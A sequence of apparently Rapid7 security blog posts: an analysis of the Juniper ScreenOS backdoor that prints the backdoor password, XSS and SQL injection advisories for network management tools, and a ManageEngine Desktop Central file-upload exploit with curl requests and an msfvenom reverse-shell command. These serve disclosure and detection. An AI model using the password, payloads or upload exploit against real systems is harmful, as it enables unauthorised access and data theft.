Although most folks are more familiar with x86 than ARM, the ARM binaries are significantly easier to compare due to minimal changes in the compiler output. In order to load the SSG5 (ssg5ssg20.6.3.0r19.0.bin) firmware into IDA, the ARMB CPU should be selected, with a load address of 0x80000 and a file offset of 0x20. Once the binary is loaded, it helps to identify and tag common functions. Searching for the text "strcmp" finds a static string that is referenced in the sub_ED7D94 function. Looking at the strings output, we can see some interesting string references, including auth_admin_ssh_special and auth_admin_internal. Searching for "auth_admin_internal" finds the sub_13DBEC function. This function has a "strcmp" call that is not present in the 6.3.0r19b firmware:




The argument to the strcmp call is <<< %s(un='%s') = %u, which is the backdoor password, and was presumably chosen so that it would be mistaken for one of the many other debug format strings in the code. This password allows an attacker to bypass authentication through SSH and Telnet. If you want to test this issue by hand, telnet or ssh to a Netscreen device, specify any username, and the backdoor password. If the device is vulnerable, you should receive an interactive shell with the highest privileges.


The interesting thing about this backdoor is not the simplicity, but the timing. Juniper's advisory claimed that versions 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20 were affected, but the authentication backdoor is not actually present in older versions of ScreenOS. We were unable to identify this backdoor in versions 6.2.0r15, 6.2.0r16, 6.2.0r18 and it is probably safe to say that the entire 6.2.0 series was not affected by this issue (although the VPN issue was present). We were also unable to identify the authentication backdoor in versions 6.3.0r12 or 6.3.0r14. We could confirm that versions 6.3.0r17 and 6.3.0r19 were affected, but were not able to track down 6.3.0r15 or 6.3.0r16. This is interesting because although the first affected version was released in 2012, the authentication backdoor did not seem to get added until a release in late 2013 (either 6.3.0r15, 6.3.0r16, or 6.3.0r17).


Detecting the exploitation of this issue is non-trivial, but there are a couple things you can do. Juniper provided guidance on what the logs from a successful intrusion would look like:


2015-12-17 09:00:00 system warn 00515 Admin user system has logged on via SSH from …..

2015-12-17 09:00:00 system warn 00528 SSH: Password authentication successful for admin user ‘username2’ at host …


Although an attacker could delete the logs once they gain access, any logs sent to a centralized logging server (or SIEM) would be captured, and could be used to trigger an alert.


Fox-IT has a created a set of Snort rules that can detect access with the backdoor password over Telnet and fire on any connection to a ScreenOS Telnet or SSH service:


# Signatures to detect successful abuse of the Juniper backdoor password over telnet.
# Additionally a signature for detecting world reachable ScreenOS devices over SSH.

alert tcp $HOME_NET 23 -> any any (msg:"FOX-SRT - Flowbit - Juniper ScreenOS telnet (noalert)"; flow:established,to_client; content:"Remote Management Console|0d0a|"; offset:0; depth:27; flowbits:set,; flowbits:noalert; reference:cve,2015-7755; reference:url,; classtype:policy-violation; sid:21001729; rev:2;)

alert tcp any any -> $HOME_NET 23 (msg:"FOX-SRT - Backdoor - Juniper ScreenOS telnet backdoor password attempt"; flow:established,to_server; flowbits:isset,; flowbits:set,; content:"|3c3c3c20257328756e3d2725732729203d202575|"; offset:0; fast_pattern; classtype:attempted-admin; reference:cve,2015-7755; reference:url,; sid:21001730; rev:2;)

alert tcp $HOME_NET 23 -> any any (msg:"FOX-SRT - Backdoor - Juniper ScreenOS successful logon"; flow:established,to_client; flowbits:isset,; content:"-> "; isdataat:!1,relative; reference:cve,2015-7755; reference:url,; classtype:successful-admin; sid:21001731; rev:1;)

alert tcp $HOME_NET 22 -> $EXTERNAL_NET any (msg:"FOX-SRT - Policy - Juniper ScreenOS SSH world reachable"; flow:to_client,established; content:"SSH-2.0-NetScreen"; offset:0; depth:17; reference:cve,2015-7755; reference:url,; classtype:policy-violation; priority:1; sid:21001728; rev:1;)



Robert Nunley has created a set of Sagan rules for this issue:


If you are trying to update a ScreenOS system and are running into issues with the signing key, take a look at Steve Puluka's blog post.


We would like to thank Ralf-Philipp Weinmann of Comsecuris for his help with unpacking and analyzing the firmware and Maarten Boone of Fox-IT for confirming our findings and providing the Snort rules above.


Update: Fox-IT reached out and confirmed that *any* username can be used via Telnet or SSH with the backdoor password, regardless of whether it is valid or not.

Update: Juniper has confirmed that the authentication backdoor only applies to revisions 6.3.0r17, 6.3.0r18, 6.3.0r19, and 6.3.0r20

Update: Details on CVE-2015-7756 have emerged. The Wired article provides a great overview as well.



Today, Rapid7 is disclosing several vulnerabilities affecting several Network Management System (NMS) products. These issues were discovered by Deral Heiland of Rapid7 and independent researcher Matthew Kienow, and reported to vendors and CERT for coordinated disclosure per Rapid7's disclosure policy. All together, we're disclosing six vulnerabilities that affect four NMSs, four of which are expected to be patched by the time of this disclosure. The table below outlines these issues, and we'll keep it updated when we learn of patch releases.


Update (Dec 17, 2015): Castle Rock Computing has released patches, available to customers at the vendor's support site.

Update (Dec 17, 2015): @Ipswitch tweeted that a fix was released to their customer portal.


Rapid7 IdentifierCVE IdentifierClassVendorPatch Status
R7-2015-18CVE-2015-6021XSSSpiceworksPatched December 01, 2015
R7-2015-19.1CVE-2015-6004XSSIpswitchPatched December 16, 2015
R7-2015-19.2CVE-2015-6005SQLiIpswitchPatched December 16, 2015
R7-2015-20.1CVE-2015-6027XSSCastle Rock ComputingPatched December 17, 2015
R7-2015-20.2CVE-2015-6028SQLiCastle Rock ComputingPatched December 17, 2015
R7-2015-21CVE-2015-6035XSSOpsviewPatched November 06, 2015


R7-2015-18, Spiceworks Desktop Stored XSS via SNMP (CVE-2015-6021)



A stored server cross-site scripting (XSS) vulnerability in the web application component of Spiceworks Desktop via the Simple Network Management Protocol (SNMP). Authentication is not required to exploit.



This issue was discovered by independent researcher Matthew Kienow, and reported by Rapid7.


Products Affected

The following versions were tested and exploited successfully.


  • Desktop Version 7.3.00065
  • Desktop Version 7.3.00076
  • Desktop Version 7.4.00075


Earlier versions may also be affected.



A stored (AKA, Persistent or Type I) server cross-site scripting (XSS) vulnerability exists in the Spiceworks Desktop web application. The vulnerability is due to insufficient filtering of Simple Network Management Protocol (SNMP) agent supplied data before the affected software stores and displays the data.


An unauthenticated adversary that has access to a network segment scanned by the affected software could cause arbitrary code execution in an authenticated user's browser session, which could be leveraged to conduct further attacks. The code has access the authenticated user's cookies and would be capable of performing actions in the web application as the authenticated user, allowing for a variety of attacks.


The stored XSS attack code is delivered to the affected software during the network scan operation. The attack host utilizes an SNMP agent to supply the desired attack code in response to SNMP GetRequest messages for either the sysDescr ( or sysName ( object identifiers (OIDs). Attacks leveraging sysDescr can only contain up to 50 characters, and the code will execute when the user navigates to the inventory page (http://host:port/inventory). Attacks leveraging sysName can contain up to 255 characters, and the code will execute while the network scan is in progress as well as when the user navigates to  the inventory page. The sysName attack code will be truncated at the first period character by the affected software before being returned in responses.



An attack host on a network segment scanned by the affected software is operating an SNMP agent that returns <script>alert('sysName XSS Test');</script> as the sysName value. Once the attack host has been scanned, the script is returned in a response to the user's browser session and executed, which displays the alert box. Next, the user navigates to the inventory page where the script is returned in a response to the user's browser session and executed, which displays the alert box again. The below screenshots illustrate these effects.


Affected users are advised to update to the latest version from the vendor.


Disclosure Timeline

This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy.


  • Mon, Aug 31, 2015: Discovered by Matthew Kienow
  • Tue, Sep 01, 2015: Disclosed to vendor by Rapid7
  • Wed, Sep 02, 2015: Vendor response
  • Wed, Sep 02, 2015: Details provided to vendor security contact
  • Thu, Sep 17, 2015: Disclosed to CERT
  • Fri, Sep 18, 2015: CERT assigned VU#411472, CVE-2015-6021 for persistent XSS
  • Tue, Dec 01, 2015: Fix and bulletin published by vendor
  • Wed, Dec 16, 2015: Public Disclosure


R7-2015-19, XSS and SQLi via SNMP in Ipswitch's WhatsUpGold



The Ipswitch product WhatsUpGold is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability and a SQL injection (SQLi) issue. The XSS issues do not require any prior authentication, while the SQLi issue does require authentication as a regularly privileged user.



These issues were discovered by Deral Heiland, Principal Consultant at Rapid7's Global Services.


Products Affected

The following versions were tested and exploited successfully.


  • WhatsUpGold Version 16.2.6
  • WhatsUpGold Version 16.3.1


Earlier versions may also be affected.


R7-2015-19.1, XSS via SNMP (CVE-2015-6004)

While examining the WhatsUpGold product, it was discovered that it was vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistence XSS containing JavaScript into a number of fields within the product. When this data (JavaScript) is viewed within the web management console the JavaScript code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the system's configuration, compromise data, take control of the product or launch attacks against the authenticated user’s host system.


These persistent XSS attacks were delivered to WhatsupGold product via a couple different means. The first method XSS was delivered using the WhatsUpGold’s discovery process. When discovering a network device, if that device is configured with SNMP and the following SNMP OID objects contain HTML or JavaScript code. The code will be delivered to the product for persistent display and execution


  • sysContact:
  • sysLocation:
  • sysName:


The following example shows the results of discovering a network device where the SNMP sysName has been set to <IFRAME SRC="javascript:alert('XSSTEST1-Name');">. In this example, when viewed within WhatsUpGold's web management console the JavaScript executes rendering an alert box.

This JavaScript was found to execute in multiple locations everywhere the sysContact, sysLocation and sysName are viewable.


The second method of injection involved SNMP trap messages. By spoofing an SNMP trap message and altering the data within that trap message a malicious actor could inject HTML and JavaScript code into the product. When the trap information is viewed the code will execute within the context of the authenticated user. The below screenshot shows an example attack where a trap message was used with the following HTML code <embed src=//> to embed Flash into the WhatUpGold trap logs.


R7-2015-19.2: SQLi via UniqueID parameter in Reports (CVE-2015-6005)

Examination of the WhatsUpgold product also revealed an SQL Injection vulnerability within the "UniqueID" parameter within the URL:




This injection point requires authentication prior to exploitation. Once authenticated a malicious actor could extract all data from the database. Leveraging the open source tool SQLMAP this vulnerability was simple to exploit and extract data from the application's database. The screenshot below shows the extraction of data from the CredentialTypeData table within the Whatsup database.



Until updated versions are available from the vendor, customers should carefully control which devices and subnets are scanned for using WhatsUpGold. In addition, login rights to the control console should be limited to only those users trusted with local administrator privileges on the host.


Disclosure Timeline

This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy.


  • Mon, Aug 31, 2015: Discovered by Deral Heiland, Principal Consultant Rapid7
  • Tue, Sep 01, 2015: Initial contact to vendor
  • Tue, Sep 08, 2015: Vendor response with security contact for issue 00997412
  • Tue, Sep 08, 2015: Details provided to vendor security contact
  • Thu, Sep 17, 2015: Disclosed to CERT
  • Wed, Dec 16, 2015: Vendor fix released, according to a tweet.
  • Wed, Dec 16, 2015: Public Disclosure


R7-2015-20, XSS and SQLi via SNMP in Castle Rock Computing SNMPc



The Castle Rock Computing product SNMPc Enterprise and its web based reporting/monitoring tool SNMPc OnLine is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. The XSS issues do not require any prior authentication, while the SQLi issue does require authentication as a regularly privileged user.



These issues were discovered by Deral Heiland, Principal Consultant at Rapid7's Global Services.


Products Affected

The following versions were tested and exploited successfully.


  • SNMPc Enterprise Version 9
  • SNMPc OnLine Version 12.1


R7-2015-20.1, Persistent XSS (CVE-2015-6027)

While examining the Castle Rock product SNMPc Enterprise and its web based reporting/monitoring tool SNMPc OnLine, it was discovered that SNMPc Online was vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistence XSS containing JavaScript into a number of fields within the product. When this data (JavaScript) is viewed within the web console the JavaScript code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the system's configuration, compromise data, take control of the product or launch attacks against the authenticated user’s host system.


These persistent XSS attacks were delivered to SNMPc product via a couple different means. The first method the XSS was delivered using the SNMPc’s discovery process. When discovering a network device, if that device is configured with SNMP and the following SNMP OID object contain HTML or JavaScript code. The code will be delivered to the product for persistent display and execution.


  • sysDescr:
  • sysName:


When discovering a network device where the SNMP sysDescr has been set to <SCRIPT>alert("XSS-sysDescr")<SCRIPT>. In this example, when device is viewed within SNMPc OnLine web console the JavaScript executes rendering an alert box, as shown below.


A second method of injection involves SNMP trap messages. The SNMPc product allows unsolicited traps, which are stored within the logs. By altering the data within a trap message a malicious actor could inject HTML and JavaScript code into the product. When the trap information is viewed the code will execute within the context of the authenticated user. The screenshot below shows an example attack where a trap message was used with the following HTML code `<embed src=//>` to embed flash into the SNMPc web console.


R7-2015-20.2, SQL Injection (CVE-2015-6028)

Examination of the SNMPc product also revealed a SQL Injection vulnerability within the "sc" parameter within the URL:



This injection point does require authentication to exploit. Leveraging the open source tool SQLMAP this vulnerability was simple to exploit and extract data from the application’s database.


The screenshot below demonstrates the extraction of database password hashes from the Microsoft SQL database.



In the absence of patches, customers should carefully control which devices and subnets are scanned for using SNMPc. In addition, login rights to the control console should be limited to only those users trusted with local administrator privileges on the host.


Disclosure Timeline

This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy.


  • Mon, Sep 14, 2015: Discovered by Deral Heiland of Rapid7
  • Tue, Sep 15, 2015: Vendor contact sought
  • Wed, Sep 30, 2015: Disclosed to CERT
  • Wed, Dec 16, 2015: Public Disclosure
  • Thu, Dec 17, 2015: Vendor released patches at its support site.


R7-2015-21, Opsview Stored and Reflected XSS via SNMP (CVE-2015-6035)



Stored server and reflected client cross-site scripting (XSS) vulnerabilities in the web application component of Opsview via the Simple Network Management Protocol (SNMP).



This issue was discovered by independent researcher Matthew Kienow, and reported by Rapid7.


Products Affected

Opsview Version 4.6.3 was tested and exploited successfully.


Older versions may also be affected.



A stored (AKA Persistent or Type I) server cross-site scripting (XSS) vulnerability exists in the Opsview web application due to insufficient filtering of Simple Network Management Protocol (SNMP) trap supplied data before the affected software stores and displays the data. Traps that will be processed by the affected software depend on the configuration of snmptrapd, the Net-SNMP trap notification receiver. This component may be configured to accept all incoming notifications or may be constrained by defined access control. In the latter case, the adversary must determine the SNMP authorization credentials before launching the attack. The affected software is capable of accepting traps from hosts registered or unknown to the system. The stored XSS attack code is delivered to the affected software via an object in the malicious SNMP trap. Once the trap is processed and determined to be an exception to any existing SNMP trap rules it will be stored as a trap exception. The code will execute when the user navigates to the SNMP Trap Exceptions page at http://host:port/admin/snmptrapexception/list/unique.


In addition, a reflected (AKA Non-Persistent or Type II) client cross-site scripting (XSS) vulnerability exists due to insufficient filtering of SNMP agent supplied data before the affected software displays the data. The attack requires that the attack host has been registered with the system. The reflected XSS attack code is then delivered to the affected software during an SNMP Walk operation performed from the New Service Check page (http://host:port/admin/servicecheck/new). The attack host utilizes an SNMP agent to supply the desired attack code in response to SNMP Get messages for any object that can contain character data. For example, system objects such as sysDescr ( and sysName (, or objects under private enterprise management information bases (MIBs) unknown to the affected software may be used to deliver the attack code. The code will execute as soon as the SNMPwalk results are returned and displayed in the browser.


These attack methods allow an unauthenticated adversary to inject malicious content into the user’s browser session. This could cause arbitrary code execution in an authenticated user's browser session and may be leveraged to conduct further attacks. The code has access to the authenticated user's cookies and would be capable of performing privileged operations in the web application as the authenticated user, allowing for a variety of attacks.



XSS strings can be injected into the Opsview web application via both SNMP traps and the SNMP agent.



The Opsview host used for the demonstration had snmptrapd configured to authorize processing of traps in the public community. A meaningless trap OID was used to send an SNMPv2 trap in which the trap variables contain the single object sysName ( set to the attack code <script>alert('Cookie: ' + document.cookie);</script>. After waiting a period of time for the trap to be processed, the user navigates to the SNMP Trap Exceptions page where the content is returned in a response to the user’s browser session and executed. An alert box is displayed that contains the cookies associated with the current document, as shown below.


SNMP Agent

An attack host is registered with the system and is operating an SNMP agent that returns <IMG SRC=/ onerror=alert(document.cookie) /> for the private enterprise OID When a user performs the SNMP Walk operation the content is returned in a response to the user’s browser session and the code is executed. An alert box is displayed that contains the cookies associated with the current document.



Affected users are advised to update to the latest version from the vendor.


Disclosure Timeline

This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy.


  • Mon, Sep 28, 2015: Discovered by Matthew Kienow
  • Tue, Sep 29, 2015: Vendor contact information sought
  • Tue, Sep 29, 2015: Vendor acknowledged contact, requested details
  • Tue, Sep 29, 2015: Details provided to vendor
  • Mon, Oct 19, 2015: Details disclosed to CERT
  • Fri, Nov 06, 2015: Vendor fixes released in versions 4.5.4 and 4.6.4
  • Wed, Dec 16, 2015: Public Disclosure

ManageEngine Desktop Central 9 suffers from a vulnerability that allows a remote attacker to upload a malicious file, and execute it under the context of SYSTEM. Authentication is not required to exploit this vulnerability.


In addition, the vulnerability is similar to a ZDI advisory released on May 7th, 2015, ZDI-15-180. This advisory specifically mentions computerName, and this is an important piece of information.  First off, computerName is a parameter in FileUploadServlet, which is used to normalize a file path for our uploaded 7z file. From the sound of it, this parameter was not properly checked, or not checked at all for any path injection attacks. A patch was released by the vendor, and upgrading to Version 9, build 90142 should address this vulnerability.


Although the latest version of ManageEngine Desktop Central 9 does check for multiple things such as directory traversal, absolute path injection, and potentially dangerous executables for computerName, it isn't the only parameter that is user-supplied and part of the file path. The connectionId parameter is also user-supplied, and is part of the file path for our uploaded file.


From the look of the decompiled code, this does not appear to be a regression bug; rather, the fix was incomplete.



This issue was discovered by Wei Chen of Rapid7, Inc., and reported to the vendor per Rapid7's disclosure policy.


Tested & Analyzed Versions

Builds 90109 and 91084 were tested and found to be vulnerable to CVE-2015-8249. At the time of discovery, build 91084 was the latest available version.


Fixed version

Build 91093 was released on November 30, 2015, and fixes the issue described by CVE-2015-8249. See the Patch Analysis section, below, for details.


Code Analysis

The FileUploadServlet class begins handling our POST request in the doPost function. In this function, you will see that the variable compName is checked by FileUploadUtil.hasVulnerabilityInFileName.  That is the function for checking things like directory traversal, absolute path injection, and executable file types (such as jsp, js, and html)


After the compName check, you will see that it calls a downLoadFile() function.


public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
    String sourceMethod = "FileUploadServlet::doPost";
    this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost());
    connectionId = request.getParameter("connectionId");
    resourceId = request.getParameter("resourceId");
    action = request.getParameter("action");
    compName = request.getParameter("computerName");
    customerId = Long.valueOf(Long.parseLong(request.getParameter("customerId")));
    nDataLength = request.getContentLength();
    checkSumValue = request.getParameter("checkSumValue");
      if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName)))
        this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the request: compName: {0}", new Object[] { compName });
        response.sendError(403, "Request Refused");
      nDataLength = request.getContentLength();
      long freeSpace = RDSUtil.getInstance().getServerFreeSpace();
      if (nDataLength < freeSpace)
        String receivedStatus = downLoadFile(request);

        response.setHeader("Upload_Status", receivedStatus);
        this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is availbale to store the video file ");
        if ((action != null) && (action.equalsIgnoreCase("rds_file_upload"))) {
          throw new SyMException(3010, "No Space to store Video file ", new Exception("No Space to store Video file"));
      this.logger.log(Level.INFO, sourceMethod + " -> The method ended ");
    catch (SyMException exp)
      int errorCode = exp.getErrorCode();
      String errorMessage = exp.getMessage();
      this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + errorCode);
      this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + errorMessage);
      RdsHistoryDetails.getInstance().updateErrorCode(resourceId, connectionId, errorCode);
    catch (Exception ex)
      this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);


The downLoadFile() function is used to actually save our uploaded file. An attacker can upload whatever he wants:


   private String downLoadFile(HttpServletRequest request)
    String status = "Success";
      String sourceMethod = "FileUploadServlet::downLoadFile";
      InputStream appIn = request.getInputStream();
      String absoluteFileName = getFileFolderPath();
      if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
        HashMap resMap = new HashMap();
        resMap.put("fileStatus", Integer.valueOf(3));
        resMap.put("connectionID", connectionId);
        resMap.put("filePath", absoluteFileName);
        resMap.put("fileSize", Long.valueOf(nDataLength));
      OutputStream outputFile = new FileOutputStream(absoluteFileName);
      this.logger.log(Level.INFO, sourceMethod + "  ==========> Method Starts  <===========");
        int numread = 0;
        int count = 0;
        byte[] bytesread = new byte[262144];
        long receivedFileSize = 0L;

        this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data length = : " + nDataLength);
        while ((appIn != null) && ((numread = != -1))
          this.logger.log(Level.FINE, sourceMethod + " -> Going to write the file: count: " + count + " numread :" + numread);

          outputFile.write(bytesread, 0, numread);
          receivedFileSize += numread;
          this.logger.log(Level.FINE, sourceMethod + " -> receivedFileSize: " + receivedFileSize);
        String checkSum = ChecksumProvider.getInstance().GetMD5HashFromFile(absoluteFileName);
        this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is : " + checkSum);
        if ((nDataLength == receivedFileSize) && (checkSum.equals(checkSumValue)))
          this.logger.log(Level.INFO, sourceMethod + " -> Received whole file successfully ");
          if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
            HashMap resMap = new HashMap();
            resMap.put("fileStatus", Integer.valueOf(0));
            resMap.put("connectionID", connectionId);
            resMap.put("filePath", absoluteFileName);
            resMap.put("fileSize", Long.valueOf(nDataLength));
          status = "Failed";
      catch (Exception e)
        this.logger.log(Level.WARNING, " -> Exception occured while writing file: " + e);
      this.logger.log(Level.INFO, sourceMethod + "  ==========> Method Ends  <===========");
    catch (Exception e)
      this.logger.log(Level.WARNING, " -> Exception occured : " + e);
    return status;


However, taking a closer look at the absoluteFileName variable, we can see that this variable is obtained from the getFileFolderPath() function:


   public String getFileFolderPath()
      String sourceMethod = "FileUploadServlet::getFileFolderPath";
      String absoluteFileFolderPath = null;

      this.logger.log(Level.INFO, sourceMethod + " -> Action : " + action);
      if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
        String server_home = DCMetaDataUtil.getInstance().getServerDataDir(customerId);
        this.logger.log(Level.FINE, sourceMethod + " -> The server home path is : " + server_home);
        absoluteFileFolderPath = server_home + File.separator + RDSUtil.RDS_SCRREC_FOLDER;
      if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileFolderPath)) {
      this.logger.log(Level.FINE, sourceMethod + " -> The Absolute File Folder Path is  : " + absoluteFileFolderPath);

      String absoluteFileName = getAbsoluteFileName(absoluteFileFolderPath);
      this.logger.log(Level.INFO, sourceMethod + " -> The Absolute Path with File Name is  : " + absoluteFileName);

      return absoluteFileName;
    catch (Exception e)
      this.logger.log(Level.WARNING, " -> Exception occured : " + e);
    return null;


getFileFolderPath() is sort of a wrapper for getAbsoluteFileName, so we look at that:


  public String getAbsoluteFileName(String fileFolder)
    String sourceMethod = "FileUploadServlet::getAbsoluteFileName";
      String absoluteFileName = null;
      if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
        String userName = getUserNamefromDO(connectionId);
        String fileName = userName + "-" + compName + "-" + connectionId;
        absoluteFileName = fileFolder + File.separator + fileName + ".7z";
        HashMap resMap = new HashMap();
        resMap.put("connectionID", connectionId);
        resMap.put("filePath", absoluteFileName);
        resMap.put("fileStatus", Integer.valueOf(1));
        resMap.put("fileSize", Long.valueOf(nDataLength));
        this.logger.log(Level.FINE, sourceMethod + " --> The Absolute Path with File Name is  : " + absoluteFileName);
      this.logger.log(Level.FINE, sourceMethod + " --> The Absolute Path with File Name is  : " + absoluteFileName);
      return absoluteFileName;
    catch (Exception e)
      this.logger.log(Level.WARNING, sourceMethod + " --> Exception occured : " + e);
    return null;


Pay attention to the fileName variable above. As we can see, there are three variables used to craft this filename: userName, compName, and connectionId. Remember, compName is already checked for malicious inputs in the doPost() function, but throughout the code flow, the connectionId is never checked, and the attacker has control of it.


Attacker's Notes

For connectionId, we can inject a null byte to modify the file extension. For example, if we do evil.jsp%00, our filename becomes "evil.jsp" instead of "evil.jsp.7z".  Since ManageEngine Desktop Central 9 is Java, and runs on top of Apache, it should support JSP and PHP. However, we cannot just upload our JSP/PHP file to the server-data directory (where the FileUploadServlet class puts all the 7z files), the server won't treat them as executables. We have to put our malicious file somewhere else. To solve this, we can simply traverse our way to a different directory using "..\". In our attack, we choose the following to plant our JSP payload:


Build 90109:




Build 91084 (it's a different path because this version no longer has the jsp directory):




It may be possible to find a path that's compatible with either version, but earlier versions were not investigated.


Demonstration 1 (PoC)

Tested Environments:


  • Windows 7 SP1 (x86)
  • ManageEngine Desktop Central 9 Build 91084




1. Create the following file as /tmp/a.txt (this is your payload):


<%= new String("Hello!") %>


2. Run the following. You should get a "Hello!" as the response for the second curl command.


msf sinn3r $ curl -v -X POST "" --data @/tmp/a.txt --header "Content-Type:application/octet-stream" &&
* Hostname was NOT found in DNS cache
*   Trying
* Connected to ( port 8020 (#0)
> POST /fileupload?connectionId=AAAAAAA%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cjspf%5ctest.jsp%00&resourceId=B&action=rds_file_upload&computerName=sinn3r%2ephp&customerId=47474747 HTTP/1.1
> User-Agent: curl/7.37.1
> Host:
> Accept: */*
> Content-Type:application/octet-stream
> Content-Length: 27
* upload completely sent off: 27 out of 27 bytes
< HTTP/1.1 200 OK
< Date: Fri, 09 Oct 2015 20:06:23 GMT
* Server Apache is not blacklisted
< Server: Apache
< Upload_Status: Failed
< Content-Length: 0
< X-dc-header: yes
* Connection #0 to host left intact
-bash: No such file or directory
msf sinn3r $ curl
Hello!msf sinn3r $

Demonstration 2 (real attack)

Tested Environments:


  • Windows 7 SP1 (x86)
  • ManageEngine Desktop Central 9 Build 91084




1. Create a JSP shell


./msfvenom -p java/jsp_shell_reverse_tcp lhost=IP lport=4444 -f raw > /tmp/a.txt


2. Start a payload handler


3. Upload and JSP payload and execute it:


msf sinn3r $ curl -v -X POST "" --data @/tmp/a.txt --header "Content-Type:application/octet-stream" &&
* Hostname was NOT found in DNS cache
*   Trying
* Connected to ( port 8020 (#0)
> POST /fileupload?connectionId=AAAAAAA%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cjspf%5ctest.jsp%00&resourceId=B&action=rds_file_upload&computerName=sinn3r%2ephp&customerId=47474747 HTTP/1.1
> User-Agent: curl/7.37.1
> Host:
> Accept: */*
> Content-Type:application/octet-stream
> Content-Length: 1440
> Expect: 100-continue
< HTTP/1.1 100 Continue
< HTTP/1.1 200 OK
< Date: Sat, 10 Oct 2015 18:14:00 GMT
* Server Apache is not blacklisted
< Server: Apache
< Upload_Status: Failed
< Content-Length: 0
< X-dc-header: yes
* Connection #0 to host left intact
-bash: No such file or directory
msf sinn3r $ curl
msf sinn3r $

4. On msfconsole, we see that we have a shell under the context of SYSTEM:


msf exploit(handler) > run

[*] Started reverse handler on
[*] Starting the payload handler...
[*] Command shell session 1 opened ( -> at 2015-10-10 13:14:08 -0500

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

nt authority\system



Patch Analysis

The patch can be analyzed by decompiling the FileUploadServlet class from AdventNetDesktopCentral.jar, and then diff against the vulnerable version:


$ diff
<  public void doPost(HttpServletRequest request, HttpServletResponse response)
>   public void doPost(HttpServletRequest request, HttpServletResponse response)
<       if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName)))
>       if (((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) || ((connectionId != null) && (!StringUtils.isNumeric(connectionId.trim()))))
<         this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the request: compName: {0}", new Object[] { compName });
>         this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the request: compName:{0}, connectionId: {1}", new Object[] { compName, connectionId });


The above patch roughly shows the connectionId parameter is being checked by a StringUtils.isNumeric method. The API documention for StringUtils.isNumeric can be found here. This seems to be an appropriate way to fix the vulnerability.


To see what actually happens after the check, we need to see the doPost method.


It looks like it simply sends a 403 HTTP response to the client, and then return, which prevents us from reaching the downloadFile() method that we need to upload an arbitrary file:


  public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
    String sourceMethod = "FileUploadServlet::doPost";
    this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost());
    connectionId = request.getParameter("connectionId");
    resourceId = request.getParameter("resourceId");
    action = request.getParameter("action");
    compName = request.getParameter("computerName");
    customerId = Long.valueOf(Long.parseLong(request.getParameter("customerId")));
    nDataLength = request.getContentLength();
    checkSumValue = request.getParameter("checkSumValue");
      if (((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) || ((connectionId != null) && (!StringUtils.isNumeric(connectionId.trim()))))
        this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the request: compName:{0}, connectionId: {1}", new Object[] { compName, connectionId });
        response.sendError(403, "Request Refused");


Patch Testing

By trying the Metasploit module against the patched ManageEngine, the application is no longer exploited:


msf exploit(manageengine_connectionid_exec) > run
[*] Started reverse handler on
[*] Creating JSP stager
[*] Uploading JSP stager test.jsp...
[-] Exploit aborted due to failure: unknown: The server returned 403, but 200 was expected.
[!] This exploit may require manual cleanup of '../webapps/DesktopCentral/jspf/test.jsp' on the target
msf exploit(manageengine_connectionid_exec) >


Disclosure Timeline

This issue was reported to the vendor per Rapid7's disclosure policy.


  • Sun, Oct 11, 2015: Vulnerability discovered by Wei Chen of Rapid7, Inc.
  • Mon, Oct 12, 2015: Contacted vendor
  • Tue, Oct 19, 2015: Vendor provided contact e-mail (
  • Wed, Oct 20, 2015: Draft details disclosed to vendor
  • Mon, Nov 02, 2015: Vendor confirmed the vulnerability
  • Mon, Nov 23, 2015: Disclosed to CERT, CVE-2015-8249 assigned
  • Wed, Nov 25, 2015: Patched version 91093 released
  • Mon, Nov 30, 2015: Patch confirmed as effective
  • Mon, Dec 14, 2015: Public Disclosure, Metasploit module proposed as PR6344.

I’ve been in love with the idea of a SIEM since I was a system administrator. My first Real Job™ was helping run a Linux-based network for a public university. We were open source nuts, and this network was our playground. Things did not always work as intended. Servers crashed, performance was occasionally iffy on the fileserver and the network, and we were often responding to outages.


Of course, we had tools to alert us when outages were going on. I learned to browse the logs and the system monitors, and soon got to a point where I could predict (with varying degrees of success) when a full blown crash was coming. I was in operations, and I had no idea what a SIEM was, but I was all aboard the idea of logging, measuring, and detecting variations in my environment.


